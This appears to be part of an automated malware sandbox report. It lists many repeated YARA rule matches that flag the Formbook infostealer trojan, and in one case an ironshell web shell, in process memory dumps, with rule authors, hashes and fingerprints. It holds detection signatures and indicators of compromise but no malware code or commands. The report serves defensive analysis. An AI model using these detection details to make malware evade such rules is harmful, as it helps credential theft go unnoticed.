              Source: 0000001B.00000003.2613660065.0000000001428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 0000001B.00000003.2613660065.0000000001428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000015.00000003.2487321915.0000000003B61000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000015.00000003.2487321915.0000000003B61000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000015.00000003.2487321915.0000000003B61000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000015.00000003.2472783600.0000000001219000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000015.00000003.2472783600.0000000001219000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000015.00000003.2472783600.0000000001219000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000008.00000003.2319234756.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000008.00000003.2319234756.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000008.00000003.2319234756.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000008.00000003.2319290240.0000000001424000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000008.00000003.2319290240.0000000001424000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000008.00000003.2319290240.0000000001424000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000008.00000003.2319869337.00000000013C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000008.00000003.2319869337.00000000013C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000008.00000003.2319869337.00000000013C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000015.00000003.2487925881.00000000011BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000015.00000003.2487925881.00000000011BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000015.00000003.2487925881.00000000011BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000015.00000003.2483338593.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000015.00000003.2483338593.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000015.00000003.2483338593.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000012.00000002.4573249463.00000000027D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000012.00000002.4573249463.00000000027D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000012.00000002.4573249463.00000000027D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 0000001B.00000003.2612834637.00000000014E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 0000001B.00000003.2612834637.00000000014E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 0000001B.00000003.2612834637.00000000014E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000011.00000002.4589387883.0000000010010000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_772cc62d os = windows, severity = x86, creation_date = 2022-05-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8343b5d02d74791ba2d5d52d19a759f761de2b5470d935000bc27ea6c0633f5, id = 772cc62d-345c-42d8-97ab-f67e447ddca4, last_modified = 2022-07-18
              Source: 0000001B.00000003.2612775741.00000000014B3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 0000001B.00000003.2612775741.00000000014B3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 0000001B.00000003.2612775741.00000000014B3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 0000001F.00000003.2701553801.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 0000001F.00000003.2701553801.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 0000001F.00000003.2701553801.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000008.00000003.2318005189.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000008.00000003.2318005189.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000008.00000003.2318005189.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000015.00000003.2473152784.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000015.00000003.2473152784.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000015.00000003.2473152784.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 0000001B.00000003.2613533809.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 0000001B.00000003.2613533809.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 0000001B.00000003.2613533809.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000015.00000003.2472845614.0000000001246000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000015.00000003.2472845614.0000000001246000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000015.00000003.2472845614.0000000001246000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000012.00000002.4574062995.0000000004640000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000012.00000002.4574062995.0000000004640000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000012.00000002.4574062995.0000000004640000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 0000001B.00000003.2613039958.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 0000001B.00000003.2613039958.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 0000001B.00000003.2613039958.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 0000001F.00000003.2701767663.000000000193C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 0000001F.00000003.2701767663.000000000193C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 0000001F.00000003.2701767663.000000000193C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000015.00000003.2472573703.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000015.00000003.2472573703.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000015.00000003.2472573703.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000008.00000003.2317954009.00000000013C0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000008.00000003.2317954009.00000000013C0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000008.00000003.2317954009.00000000013C0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: Process Memory Space: gbkusncub.ppt PID: 936, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: Process Memory Space: RegSvcs.exe PID: 1908, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: Process Memory Space: explorer.exe PID: 4004, type: MEMORYSTRMatched rule: ironshell_php author = Neo23x0 Yara BRG + customization by Stefan -dfate- Molls, description = Semi-Auto-generated - file ironshell.php.txt, hash = 8bfa2eeb8a3ff6afc619258e39fded56
              Source: Process Memory Space: raserver.exe PID: 2036, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
